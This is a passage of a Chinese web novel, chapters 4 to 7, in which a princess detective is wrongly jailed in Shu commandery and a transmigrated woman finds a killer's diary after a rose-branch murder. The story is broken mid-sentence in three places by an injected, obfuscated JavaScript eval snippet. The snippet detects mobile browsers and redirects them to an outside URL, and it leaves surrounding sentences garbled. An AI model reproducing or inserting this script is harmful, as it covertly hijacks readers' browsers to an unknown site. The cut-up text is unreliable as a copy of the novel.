奇怪,她穿越过来的时候明明检查过尸体并没有什么东西,难道是之前太紧张遗漏了? 她开始紧张。 还好,众人的关注点都在景小姐身上。那位绿衣服的女官又要求大家都留下来,没有人的注意力在死者衣襟上。 得想办法,把这张信纸拿到手才好。 “还愣着干什么?所有宾客都不能离开陈府,你们几个去再采买些瓜果饮品,来招待诸位贵客,莫要冷落了悬案司的上司和各位贵人才是。”一个管家模样的人对着几个小厮打扮的人吩咐道。 姜越认识他,应该是姜月三舅身边的人,刚刚为陈灵解围的时候她见过。 这倒是一个离开陈府的机会。如果她没有发现那张信纸的话。 现在她必须要拿到信纸才能离开了。 4. 先锋大哥 “进去。”狱卒将裴瑾狠狠一推,推进牢房,落了锁。 “杀了人就老实点儿,进死牢的,没一个能活着出去,就安安分分呆着吧。”狱卒说。 裴瑾没有在乎狱卒的态度,她观察起牢房的环境。 很糟糕,空气里混杂着血腥味,枯草里走两步便窜出许多虫蚁,墙角阴影处还有一些小动物发出“咯吱咯吱”细碎而密集的声音,远处隐约传来囚犯的痛呼声。 裴瑾移开了目光,她小心翼翼地将脏兮兮的地面圈出一块,把所有的草枝拨开,驱赶里面的蚊虫。最后,掏出袖口里的绢布垫好坐了上去。 作为一个死囚,她这一番动作简直过于讲究了。 她的牢房左侧是一个满身血迹、不知死活躺在地上的囚犯。 牢房对面空着,门开着,估计正在审讯。 右侧——她看了过去,这一看让她发现了不对。 隔壁的囚犯是一个男人,呼吸绵长而轻。 他背靠着墙,坐姿挺拔,眼神警惕。见裴瑾看过去,他立马回视过来。 他的眼像鹰一般锐利。他看着裴瑾的时候,手总是不自觉地握着什么,余光还扫视着四周的角落。 不像是一般人。 裴瑾对着囚犯大哥温柔一笑,不避不躲,继续观察。这倒是让隔壁的大哥移开了目光。 这位大哥衣衫褴褛,肤色苍白,挽起的衣袖间可以看到手臂和脖颈处有旧日的晒痕。 他的耳后以及衣服破损处,都有明显的伤痕。 他的头发披散着,但头顶的头发有些扁塌,尤其是额头到耳朵到后颈这一块,有明显的分界线。 观察到这里,对于这位大哥的身份,裴瑾已经有了猜测。 他犯了什么事会被抓进死牢?裴瑾很好奇,于是问道:“这位大哥,可是有什么冤屈?兴许我能帮上你?” 隔壁大哥瞥了她一眼,鼻息里溢出一声哼声:“你都到死牢了,就别说大话,小姑娘少费些口舌,想想有什么能交代的,兴许能死得舒服点,少受些刑罚。” 裴瑾知道她不吐点货出来,这位大哥不会开口。 “这位将军,嗯,也许是先锋将军?您如何称呼?” 大哥调整了坐姿,终于正视起裴瑾来。她怎么知道他的身份?是来探他口风的? 裴瑾见他警惕起来,直觉这其中应该有一些秘密。她的好奇心更强烈了,做作地说:“我可没杀人,你们蜀郡都是这样办案的吗?我可太倒霉了!” 说着她表情苦恼,一脸委屈。 “我姐妹邀请我参加这百花城的百花宴,我这屁股还没坐热呢,您猜怎么着?” 大哥没搭话,但看得出他也有些好奇了。裴瑾继续说:“我刚和她分开,她竟然被人杀死了,而且是被玫瑰花枝捅穿了头颅死的。悬案司那谁,李筠杰是吧?那狗官非说人是我杀的,还把我抓到这来!您说气不气!要知道我一文弱女子半点武功也没有,刚来蜀郡,人生地不熟。呜呜呜,而且这死者还是我的好姐妹,这能把我当杀人犯?!” 大哥对她是否为杀人犯并没有表达意见,而是反问道:“所以你觉得我也是被冤枉的吗?”说着他表情凶狠,脸贴着牢房之间的空隙盯着裴瑾,一副要吃人的样子。 裴瑾根本不怕。 “据我所知,蜀中军队军人哪怕是犯了杀头之罪,也由军中处置,犯不着来这悬案司大牢。而且我觉得这悬案司的官员也没什么本事,您啊,多半是被冤枉的。要不您跟我说说您的事,咱俩合计合计,一起洗刷冤屈,怎么样?您听我这口音也不是蜀郡的,我是长安人士,肯定与他们没啥关系,您有什么冤情可以放心说给我听。” 大哥并没有回答,并没有诉说自己所谓的犯罪详情,而是好奇地问道:“你怎么知道我是蜀郡的将军呢?” 裴瑾眯了眯眼,慢条斯理地说:“从你的坐姿——你的坐姿看起来受过专业训练,而且你很敏锐,我只是观察了你一会儿,就被发现了。你的肤色较白,但手臂和脖颈处有晒痕,这是盔甲留下的痕迹,身上也有战斗留下的伤痕。你的发丝稀疏,在耳部、额前的边缘处有扁塌,这是戴头盔所致。你沉稳淡定,经过时间和战斗的沉淀,应该不是普通的士兵,而是将军一类的人物,至少也是个先锋将军,对吗?” 大哥并没有被这一番说辞说服,反而继续追问:“你说晒痕——劳作的农民也有晒痕;你说伤口和头发痕迹——江湖人士也有伤口,也爱戴斗笠帽子。为何我一定是军中人士,而不可以是农民、江湖人呢?” 裴瑾眼睛一转,明白这位大哥的警惕性非常之高。她猜测,应该有人向他套过话,却没有足够的证据取信于他,反而被他发现了。 因此,此人会有一些……悬案司或者是某些人,想知道的秘密还没套出来。 不过她与那些人不同,她确实是从细节上判断出来的。她对此人手里的消息颇为感兴趣,因此耐下心来与他细细分说。 “将军的晒痕与劳作不同。晒痕是甲衣镂空的形状,边缘整齐,甚至呈半月状,这是因盔甲护颈结构所致。而你的手腕上有护腕遮挡的色差,劳作的农民一般不会有护腕。您的肩上和手臂处有对称的晒痕,这是盔甲肩甲或背甲留下的弧形痕迹。而农民的晒痕大多比较均匀,边缘模糊,袖口处遮挡处略浅,而且农民背有背篓、扁担,不会这么对称。” 她顿了顿,笑了一下,继续解释道:“而我观察您的伤口——您的伤口多为直切、贯穿、穿刺的形状,而且受伤痕迹多、刺入方向各不相同,说明您所受的伤经常是一对多混战所致。” “一般的江湖人士的伤痕多为点伤,连续攻击的伤口,且往往集中在要害部位。” 见这位将军眼里的光逐渐柔和,裴瑾知道她已经说服了他。 嗯哼,是不是要告诉她一些秘密了?她有些期待地看着他。 大哥转身去草垛里掏出了一个布包,递给了裴瑾。 那双手如鹰爪强劲有力,手腕的白痕上,有一块铜钱大小的淤青。 是什么大秘密?裴瑾满怀期待地打开。一股馊掉的隔夜大蒜味儿扑面而来,还有其他混杂着腐败腥臭的气味。 她发出一声干呕,皱着眉,将布包轻轻放远,维持着淑女应有的礼节,看向这位大哥:“将军,这是何意?” 没想到这位将军——没想到一直表情谨慎严肃、不苟言笑的将军竟然笑出了声。“看小姑娘少年老成,头头是道,娓娓道来,刚刚嫌弃的样子才像个真真正正的小姑娘吧。” 裴瑾不开心。 她费了一番口舌,是想知道他的秘密,可不是想换来这怪味腐败的大蒜的。 将军笑了好几下才终于停止,见小姑娘真的不开心了,终于说道:“这是我吃饭时留下的佐料。我看小姑娘很嫌弃牢房里的蚊虫鼠蚁,这是我从军时的配方,都是常见的佐料混在一起,可以驱虫驱蚊,你洒在四周即可。” 原来是这样。 虽然没有听到秘密,让裴瑾有些可惜,但大哥的好意她还是美美领了。她捏着鼻子又将布包捡了回来,撒在自己周围。 四周顿时飘起腐败的葱蒜味,许多原本往这边蠢蠢欲动的虫子都退避三舍。 大哥又递给她几条破布带子,看起来像是衣服撕成的。 裴瑾老实接过,用疑问的眼神看着对方。 “你把布条沿着你的衣袖、裤脚扎紧,可以防止蛇虫爬入衣服内。你可别小看它,在这死牢,被毒虫毒鼠咬了之后可有得受。” 裴瑾一想到自己坐在地上,那些虫子趁着她不注意跑到身上到处啃咬的场面,心里一阵发麻,赶紧按大哥所说,把衣袖、裤腿,还有腰间都紧紧地扎了起来。 她扎好之后,欣喜地看向大哥,没想到对方已经靠着墙睡着了。 可惜了,这大哥嘴太硬,到了最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15936866|177256||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后也没有告诉她小秘密。她失望地靠着墙,手里轻轻地抚摸了一下颈间的金哨子。 这是呼唤寒木和裴十七的无声哨,也不知道这两个人什么时候能找到她。若是傍晚还没有消息,她就要准备出去了,她可不想在这里过夜。 不过进来一趟也有收获。这大哥的案件明显看起来就不对,又想到自己被冤枉成嫌疑犯的场景。这悬案司的办案能力不行啊! 裴瑾长叹一口气。 * 李贵将人聚在了前厅。 作为采买瓜果的姜越,终于有了回到死者房间的机会。 她不知道这是不是一个陷阱,也许悬案司那边的人是故意把人都聚在前厅,然后再在这里守株待兔。但是这个险她必须得冒,那张信纸——直觉告诉她很危险。 姜月的闺房已经被封锁,幸好后门的窗户无人看守,她之前清醒的时候有打开过窗户。轻轻地扒拉了一下,果然窗户没有插上,她身体轻盈地翻了进去。 一股寒气袭来。 不知怎么回事,她总觉得这间屋子凉飕飕的。 她一眼就看到了前襟的那张纸。 “反派死于话多,罪犯死于墨迹。”她眼疾手快拿走了纸,没有展开去看,直接揣进袖兜。 又仔仔细细地快速检查了一遍,确认死者身上再没有其他信息之后,立马从窗户翻了出去。 她刚翻出去,房间的门就被人推开了。 一个守卫说:“刚刚屋里是不是进人了?” “都说你听错了,非说有,你看哪有人!” “好吧。” 两个守卫环视了房间一眼,没看到人,便关上门离开了。 好险,差点被发现。 姜月扮做小厮,正常在陈府行动,找机会躲进假山里,展开了信纸。 [她又在镜子前梳妆了,笑得那么刺眼,所有人都爱她。 父亲、舅舅、陈渊渟,连孙兰芝都只对她温柔,凭什么?我们流着一样的血,可她却能活在阳光里。 今晚,不,明日便是百花宴。我来到了她的闺房,我站在她身后,看着她惊愕的眼神,我笑了,以后就只有一个姜月了。 玫瑰汁真凉呀,像她逐渐冰冷的皮肤。我把花插进她眉心时,血珠凝成了冰晶,多美啊。 现在再也没有人能分走属于我的东西了。] 好消息:这真的是证据,而且直指作为长得一模一样、大概率是双胞胎的原主。 坏消息:原主可能真的就是杀人犯,也就是她现在是个杀人犯…… 姜越整个人都不好了。这简直就是有预谋的杀人,而且原主真的好变态。为了分得姜月得到的宠爱,原主把她杀了。杀了就算了,还把自己的日记放到她的衣襟里,这是不是挑衅是什么?! 简直就是法外狂徒! 理智告诉她,她应该毁掉这张信纸,让这个秘密永远地埋藏下去。反正现在有景小姐背锅,就算最后能够查出景小姐是无辜的,她已经一走了之,怎么样也查不到在她身上。 可是不知怎的,鬼使神差,直觉作祟,她并没有销毁这张疑似日记的东西,还将它贴身放进了衣兜里。 她不知道自己在想什么,也许她的潜意识里,还是有抱有那么一丝侥幸,侥幸地认为原主并不是凶手,侥幸地想也许她再探索一下,能够找到证明自己清白的证据。 她心中万分纠结。 她现在销毁证据一走了之,也许这个案件就会成为悬案,也许是景小姐,也许是别人会背了这个锅。 又或者有那么万分之一的可能呢?这只是个误会,原主并非凶手呢?她到底要不要继续查下去? 她脑子很混乱,混乱中她顶着平平无奇的男人脸来到了前厅。并被管事的塞上一大盘瓜果,让她分给悬案司的老爷们解渴。 她拿着果盘步入前厅。听到几人在探讨案件,心中莫名兴奋。 5. 嫌疑人一号 这倒是个好机会。 可以看看他们怀疑的目标,她也好做应对,顺便得到一些案件信息。 坐在主位的那位叫做李贵,她知道。在案发现场,他们说他是悬案司的司正,也就是蜀郡悬案司的最高长官。 旁边坐着的那个,就是那个将景小姐胡乱定罪的,叫做李筠杰,她听下人们说这个人是李司正的独子。 右边的那个姑娘应该就是赵倚歌了,是赵太守的女儿,也是评事。赵家本与王家联姻,但赵倚歌不喜,靠自己考上了悬案司的司务,几年过去成为了评事,也是蛮励志的。 当下人就是消息灵通,混了一会儿,就得到不少有用信息。 姜越将瓜果茶点放在几人面前,退到柱子旁,方便偷听,不是,是以备老爷们传唤。 坐在中间的李贵,首先看向赵倚歌:“赵评事,将死者的生前关系打听得如何了?“ 死者的关系自然指的是有仇怨、有矛盾的那些。 赵倚歌缓缓道来。 姜越听得两眼发直。 嫌疑人有点太多了,她呼吸了几口气,觉得自己真有可能不是杀人犯,因为其他嫌疑人一个比一个像。 这姜小姐原是蜀郡司马姜鸣鹤的女儿,母亲陈素是陈家的二姑奶奶。 然而不久之前,姜鸣鹤因为追击盗贼,贪功冒进,带着兵将孤军深入,反而被流寇和盗贼反杀。 不仅丢了性命,还连带着妻女都过得不怎么样。陈家见陈素孤零零带着女儿不好过,便把她母女接回了陈府。 这本是一桩好事,方便陈家照顾姜家母女。却没想到小小的陈府关系极为复杂。 几乎陈家的每个人都有作案动机。 首先是陈家大爷,陈朴。 据吓人说,姜家母女回到陈府没多久,陈朴就与陈素发生了激烈的争执,然后两人冷战许久,至于争执的内容,无人得知。 接着是陈家四姑奶奶陈灵。陈灵与哥哥姐姐年纪相差较大,与姜氏母女也没有太多接触。只是姜月死前接触的人除了景小姐就是陈灵,这其中有什么隐情,三人并不知晓,因此陈灵也是嫌疑人之一。 然后是今日来参加百花宴的宾客。 姜月负责此次宴会,与各位宾客都有接触,其中与谁发生矛盾也未可知,当然最可疑的就是那位景小姐。 最后,最有嫌疑的是陈家三爷陈直,或者说是他的儿子陈渊渟。陈家大爷不理俗世,陈家的掌权者一直是陈直。陈直对姜家母女颇为照顾,其子陈渊渟与姜月关系也非常好。 表哥表妹花前月下,恰逢姜月家中变故,又失了父亲。陈渊渟对她处处照拂,也带着姜月外出,一来二去,外人都觉得两人甚是般配。 两人对此也不否认,看得出来是郎有情妾有意。 连陈家几位长辈也觉得亲上加亲未尝不可。 这事儿坏就坏在一位艺妓,孙兰芝身上。 赵倚歌说到这里,李筠杰站起来激动地反驳:“你别瞎说,孙兰芝不是这样的人,兰芝小姐她——” 李贵:“李司务慎言,听赵评事把话说完。” 对于儿子对这艺伎的百般维护,李贵虽言辞激烈,但个中内情他也甚是唏嘘。 赵倚歌皱了皱眉,想说什么又顿住,继续汇报查到的消息。 孙兰芝的父亲曾是姜鸣鹤的下属。 姜鸣鹤出事后不久,赵太守那边查到,孙兰芝的父亲与流寇匪贼隐有勾结,才导致姜鸣鹤被反杀。于是上报朝廷,孙兰芝的父亲被处死,孙兰芝也被发卖成艺伎。 赵倚歌说完喝了一口茶,看了一眼脸色仍然不好的李筠杰。 李筠杰之前与孙兰芝有婚约。 如今是没了可能。 按理说姜月与孙兰芝有杀父之仇,陈家本应远离孙兰芝。却不想陈渊渟竟与孙兰芝交好,常常出入孙兰芝所在的迎春阁。 众人是议论纷纷。 据下人说,前几日陈渊渟还挨了大爷的打。要知道陈家大爷陈朴不管事许久,除了上一次与陈素吵架之外,已经很久不出现在人前。 可见这陈渊渟是有多荒唐? 这还不止。 赵倚歌看向李筠杰:“这事是你亲自查见的,还需要我汇报吗?” 李筠杰脸色难看极了。犟着嘴说:“此事定有蹊跷,我相信兰芝她不是这样的人,姜月这个泼妇!” “住口。”李贵严厉呵斥:“怎可随意编排死者?既然你觉得上次的事有蹊跷,那你又怎能断定这是姜月的错?” 赵倚歌没有多言,她只是陈述事实。她知道对于李筠杰这种意气用事的人来说,他只愿意相信他认为的。 “那还是我接着说吧。” 就在前几日,姜月大闹了一场迎春阁。 起因是,陈渊渟本与姜月约好出门游玩。结果到了时间,陈渊渟爽约,却与孙兰芝在迎春阁饮酒作诗。 姜月便带着丫鬟仆从,将迎春阁闹得鸡犬不宁。 此事见者甚众。 有同情姜月的,也有人嘲笑姜月。有曾经暗恋孙兰芝的,见她沦为艺妓就大为嘲笑贬斥;有人单纯觉得孙兰芝插足表兄妹感情令人不耻。 但总归姜月让陈渊渟和孙兰芝丢尽了脸面。 如今姜月死在了卧房里,正常人都觉得陈渊渟和孙兰芝嫌疑很大。 赵倚歌汇报完。 李贵整个人瘫在椅子上,他深深地叹了一口气:“这个案件颇为复杂。” 何止复杂,还十分棘手呢,他们现在嫌疑人的范围太广了,一一排查下来不知道要多久。 前厅的宾客已经有了意见,这么多达官显贵,四大家族的人,总不能一直把人困在陈府吧。 除此之外,表小姐是如何死掉的?也没有头绪。 李贵生无可恋地抬头看向赵倚歌:“仵作那边确定表小姐的死因就是额心的玫瑰花枝吗?” 赵倚歌点头,也很困惑:“是的。” 如此一来,案件更加扑朔迷离了。因为上述的怀疑人嫌疑人,都不能做到用玫瑰花去杀人呢。 李筠杰猛地起身:“这事儿没准就是江湖人干的,直接用内力把姜月杀掉了,姜月行事这么张扬,有仇家很正常。” 这傻子!赵倚歌捏了好几次拳头,才控制住自己揍他的欲望。 李筠杰看两人都没有附和自己,开始挽尊:“嗯,也有可能是周围人干的,最后离开的景小姐最有嫌疑,她都不是蜀郡人,不知道从哪个旮旯里突然冒出来,各种行为都很可疑!” 赵倚歌无奈叹气,她总觉得在这里干下去会折寿。“景小姐没有武功。” 李筠杰信誓旦旦:“她肯定用了别的方法!” 赵倚歌一整个大无语,算了,她已经做好去道歉的准备了。她好累,这个悬案司真的带不动。 一个认真,但水平一般喜欢甩锅的司正,加上一个脑子不知道怎么长的傻儿子,她作为唯一的一个正常人,真的好累。 景小姐的行为、气度、口音,还有对探案的好奇程度,难道还不能判断她的身份吗? 但是抱着长期怨气得不到抒发的心态,她不想告诉这父子俩。 李贵刷得起身,吐出一口浊气:“嗯,想不明白就先不想了,这样,公主失踪是大事,筠杰你先去简单地询问一下景小姐,我和赵评事去找公主。” 赵倚歌:“是。”走到门口,她想了一下,还是对李筠杰嘱咐道:“李司务,要对犯人以礼相待。” 李筠杰丝毫不为所动。 赵倚歌没有多言,拍了拍他的肩,和李贵走了。话她已经说到这儿了,到时候别怪姐没帮你。 见悬案司的几人分道扬镳,姜越想了下也决定去找陈渊渟。她也认为这几组嫌疑人中,陈渊渟和孙兰芝的问题最大。 她身上有管事给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15936867|177256||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的采买通行,很顺利地离开了陈府。 她回头看向这个待了一整天的地方,夜幕即将降临,陈府在黄昏下,像一尊吃人的怪兽。 打听过后发现,陈渊渟近日流连于西门巷的迎春阁,常常夜不归宿,她决定去那里找他。 沿途还顺便买了一副陈渊渟的画像,方便寻人。陈公子在蜀郡名气颇大,长得芝兰玉树,学识更是才高八斗,是无数少女期望的婚配良人。 当然最近有些荒唐,不过,这些荒唐事,反而拔高了他的人气。 本来觉得自己没什么机会的女子,也开始蠢蠢欲动——孙兰芝都能得陈公子青眼,我当个主母不过分吧。 回到正事,如果凶手是陈渊渟,也不知道他是怎么杀的人,他根本没在陈府,难道是雇佣?那他雇凶雇的人是谁呢? 结果还没等她想明白,刚走到西门巷口,就被一个同样样貌普通,身着道袍的男子拦住:“师妹,你不是说去杀陈渊渟吗,怎的这样冲动!” 男子将他拉到旁边的小院落里,低声道:“还有,姜月怎么死了?是你干的吗?” 姜越一个头两个大,什么意思?!啊啊啊啊,她还有同伙?! * 悬案司的死牢里。 脚步声从地牢口传来,裴瑾睁开了眼。是寒木和裴十七来了吗?说实话,这地牢环境太差了,真不是人待的。 听脚步声好像只有一个人。 答案揭晓——一个蓝衣官员站在牢房门前,裴瑾大失所望。 是那个傻蛋李筠杰。 傻蛋李筠杰说:“本官查了线索,现在发现你嫌疑最大,我劝你最好老实交代,否则大刑伺候!” 她把玩着脖子上的金色哨子,吊儿郎当地回复李筠杰:“哟,李司务平时也是如此断案的?冤假错案办了不少吧。我看得向长安悬案司举报举报,免得你这样的人拿着皇粮,坑害百姓!” 李筠杰差点被她气晕。 有道是假话并不让人介怀,往往是戳心窝子的话才令人恼怒。 李筠杰知道自己破案能力不行,赵倚歌经常明着暗着看不上他。可赵倚歌好歹是赵太守赵家的嫡女。这位景小姐是何人?她凭什么这样说?简直就是个刁民。 景小姐这番话,是打到他的七寸了。 “我看你是不到黄河不死心,你越是这么说,本官越是觉得你嫌疑颇深。来人,给我抓出来大刑伺候。” 然后房门被打开,两个狱卒走了进来。 左边奄奄一息的犯人突然冒出两句话:“你个憨包,没得证据也敢用大刑,瓜娃子一个,等斗你老汉儿来收拾你,咳咳咳。” “闭嘴!”李筠杰气昏,一个死囚都敢嘲讽他。他当然知道没有证据不能用大刑,他就是吓唬吓唬她。这景小姐长这么小个,也就嘴上能逞能,吓一吓估计就全说实情了。 等他把这些话都套出来,看他爹和赵倚歌还敢说他废物不? 另一边。 李贵腿一软,差点坐到地上,幸好被赵倚歌扶住,才不至于丢脸。一张画像在他面前展开,这是寒木带回来的公主画像。 李贵颤抖着问赵倚歌:“赵评事,我……我没看错吧,这……这画像的公主怎么长得有点像景小姐呢?” 赵倚歌莞尔:“嗯,李司正您没看错,看样子景小姐就是公主。” 裴十七抱剑往前走了两步,佩剑和他衣带间的配饰发出铿锵之声。李贵听着都觉得下一秒,这位裴大人就要拔剑斩下他的狗头。 只听裴十七问道:“李司正见过公主?对,公主在外喜欢用化名景小姐,请问现在何处?请速速带我等前去。” 李贵绝望的闭上眼,他支吾了几声都没有发出声音。 还是赵倚歌看不下去了,长叹一口气说道:“呃,裴大人和寒大人,先莫要动怒,公主正在悬案司死牢做客。” 两个人:“什么?!” 6. 装晕 李贵几人赶到的时候,李筠杰正吩咐两个狱卒将裴瑾绑到刑架上。 裴十七和寒木急匆匆走在前面,李贵被远远甩在身后。 李筠杰看到这位裴大人和寒大人闯到死牢里来,有一丝不悦。 不过是废公主的随从罢了,如此嚣张?悬案司的死牢也是想闯就闯的? “两位大人,悬案司的死牢可不是想来就来的,知道两位大人急着找公主,可也不能如此擅闯牢狱吧?” 李贵听着自家儿子在那儿大放厥词,真的很绝望,有的时候他就在想,他这一把年纪了,怎么身体这么好,还没有晕过去。 可怜的公主发丝披散,衣服脏乱,被人架在刑架上,也许再晚一点来,他的傻儿子就要对公主用刑了!!这可是大罪,救命。 裴十七:“公主!” 寒木:“我日你个仙人板板,对公主用刑?!” 李筠杰被吼的一脸懵。公主?什么公主?用刑?什么用刑? 然后他就看到刚刚还生龙活虎,嘲弄他、讽刺他、说他办冤假错案的景小姐眼睛一翻就晕了过去。 李筠杰:?? 寒木解开绳子,公主晕倒在裴十七怀里。虽然一路上公主总是作妖,但像今日这样虚弱还是第一次见到。干干净净的衣服也脏兮兮的,头发凌乱,脸色苍白,可怜极了。 裴十七冷冷地瞥了李筠杰一眼。 “这位李大人说公主是嫌疑犯?” 李筠杰还没开口,被李贵狠狠瞪了一眼,李贵低头哈腰讨好道:“不可能,绝对不可能,这一定是误会。公主大人是我们悬案司的司务,也是自己人,她在现场查案实为正常!是我们误会了,公主大人大量,一定要多多包涵!” 裴十七还忍着气,寒木可就不忍了,直接开喷:“你个瓜娃儿哈戳戳的,脑壳有包是吧?公主查案你把公主抓了?你会不会破案哦?你个憨批!公主金枝玉叶,陛下都舍不得动一根汗毛。你居然敢对公主用刑。你等斗,我马上就给陛下写信,把事情一五一十交代清楚。放心,我不是那种添油加醋的人,我就原原本本的写就行了哈,你等斗哦。” 李贵现在是真慌了,他只知道这位裴大人和寒大人一看就不是一般的随从,但没想到这两位竟然可以直接和陛下汇报通信。 看来外界传言公主被废失宠,完全就是谣言,差点误导了他。 还好他政治嗅觉敏锐,本来就不准备怠慢公主。 只可惜这个傻儿子干的蠢事! 这下完了。 裴十七抱着人离开,他丢下一句话:“殿下若有什么好歹,在下定当竭力讨之。” 眼见着公主几人都离开,李贵这才颤颤巍巍看向赵倚歌:“赵评事,这事儿,可请你代为回转。您好歹是四大家族的人,公主殿下不看僧面看佛面,拜托了!” 赵倚歌只能苦笑着答应。原本她想着这只是一个闹剧。 没想到这位裴殿下并未失宠于皇帝,甚至连这两位随从,看样子也是陛下派来保护公主的。 这可真是搬起石头砸自己的脚。还能怎么样?明日去道歉呗。 * 张煦和寒木带着裴瑾回到了西门巷小院。 寒木说:“公主这看起来是受了惊吓,还是着了风寒?我起喊个大夫看看。” 张煦看了一眼躺在床上“奄奄一息”的公主,点了点头:“嗯。” 寒木出去了。 张煦就着烛火开始写信,不一会儿信写完了,他走到窗前,将信卷了卷,放进早就等在窗边的鸽子腿上的信筒里。 他看着鸽子飞远,回到床前,立在床前没有动。 他身量极高,黑衣下,身姿挺拔,十分精壮。站在床前就着月光,阴影完全笼罩住了裴瑾。 他站了一会儿,叹了口气:“殿下,装晕还要装到何时?” 床上的公主依然一动不动,苍白柔弱还脏兮兮的。 张煦开口:“殿下,装晕和真晕,气息脉搏都是不同的,莫要再戏弄属下了。” 裴瑾悄咪咪地睁开了一只眼,裴十七背着光看不清表情。 她一咕噜坐了起来,露出一个腼腆无辜的微笑。好像被抓进大牢里当成嫌疑犯,然后又装晕的人不是她一样。 张煦见她醒来,颇为严肃地说道:“殿下做事,属下不便置喙,但应以自己安危为重。你可知我与寒木得知你被抓入死牢,有多担心?” 裴瑾尴尬地摸了摸鼻尖,左右看了一下,转移话题道:“裴十七,你刚刚在和父皇写信吧?” 这下轮到张煦尴尬了,他清咳了一声。微微点头:“殿下为何要装晕?” 裴瑾微微一笑,那小表情像得意的猫咪,胸有成竹,运筹帷幄,整个人都生动鲜活了起来。 对着裴十七勾了勾手指,拍了拍自己身侧的床铺,示意他坐到身边来。 张煦看了看公主,又看了看她身侧的床铺,颇为不赞同地摇了摇头。 “你呀,就是太拘束,坐过来我细细讲给你听。”裴瑾不由分说的一拉,裴十七跌坐在她身边。 高大、杀气腾腾的裴十七,像个良家男子,被恶霸摔到了床上。 她暗暗勾了勾嘴角。 寒木和裴十七都是在她被废之后,父皇安排来保护她的人。她本来的护卫是裴十一,因为太好用,被父皇留在了长安。 这两人与她关系并不密切,但她知道寒木和裴十七都可以直接与父皇通信。 她会在一言一行里,渐渐拉近与这两人的距离,使他们卸下心房,与她成为队友。 如此,在危机四伏的蜀郡,他们勠力同心,才好办事。 看着裴十七慌乱地坐好,腰背挺得直直的,裴瑾心里暗笑。 随后她正经说:“我刚到百花城就发生了命案这件事,你怎么看,十七?” 裴十七拧眉:“此事应当与殿下无关,是一个巧合?” “当真是巧合吗?”裴瑾双手抱胸,意味深长地说,“其实我来蜀郡百花城是要查一件事情,具体是何事,暂时不能告知与你,但我可以说的是, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15936868|177256||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此事与姜月有关。” “所以殿下认为姜月的死不同寻常?且与您所查之事息息相关?” “是。” “但这与您装晕有何关系?” 裴瑾缓缓道来:“废公主就是庶民,我现在可不是公主,而是一个普普通通的悬案司司务,九品官,芝麻大那么一点。” 她用大拇指和小指比划了一下。 张煦看着她亮晶晶的眸子,难得的露出可爱的模样。 “李贵这些人虽然表面上会尊重我,但实际上这背后的利益牵扯甚广,等我查到正事上,说不定会阻挠于我。且就看今日这个案子,李筠杰如此轻描淡写地把一个无辜之人抓到狱中,这悬案司很混乱,可见其官威之大,随心所欲之极。” 裴瑾摸了摸下巴:“比起我口头上警告,我晕倒之后,你和寒木的威慑力更强,借由你们之口,警告李贵他们,方便我们以后行事。” 裴十七赞同:“李贵和李筠杰确实离谱。太守府上的宾客也是随意使唤,他们莫非背后有靠山?” “太守宾客?” “是,殿下的画像就是他画的。” “有意思。” “殿下何意?” 裴瑾摇头:“具体还不清楚。只看蜀郡水深,不是我们这些外来新人能够撼动的。我欲用父皇大旗,若是让你直接向父皇讨要,岂不是让你为难?而如今你只需把李筠杰诬陷我、欲对我用刑这件事写明,想必父皇定会将奉密卫的指令使密印交于我,嘿嘿。” 张煦终于回过味来,原来公主是连他一起算计进去了。 想到刚刚他因愤怒而向皇帝写的奏信。颇有一种小丑之感,他说:“殿下,我……” 裴瑾看他表情,就知道他回过味儿来了。但她假装不懂,她感动地说:“无需多言,十七,你的忠心我自是明白。只是不想你为难,你考虑我的安危,我也为你考虑,这是应当的。” 裴十七被堵了回去,他嘴笨,他还能说什么呢?只能说殿下真是神机妙算。 “你看,我这去死牢走一道,人也臭了,身上还被虫蚁叮咬,可惨了呢。” 张煦知道她是故意卖惨,但看着公主比平日苍白的脸,也没有再多说什么。 裴瑾一边拆手脚上的布带子,一边和裴十七闲聊,虽然大多数都是她说十句,十七回一个“嗯”。 等她终于将布袋子拆完,准备去洗漱的时候,借着月光她发现:这个死牢大哥给她的布带子好像有些不对劲。 “十七,你看一看这些布带上的血迹,是不是有些怪怪的?” 张煦接过这些带子,每条布带大概有四指宽,上面有一些条状血迹,小指粗细,像是被人故意画上去的。 “这很像什么记号……”张煦说。 裴瑾眼睛一亮:“唉,你把这些带子横着拼起来试试!” 带子只有几条,相连的血迹拼起来并不难。一会儿功夫,这些布带子就被拼成了一张破布。 裴瑾和张煦对视一眼:“是地图!” 7. 道歉 等寒木急匆匆带着老中医回来的时候,裴瑾已经洗漱完毕,顶着湿漉漉的头发在研究地图了。 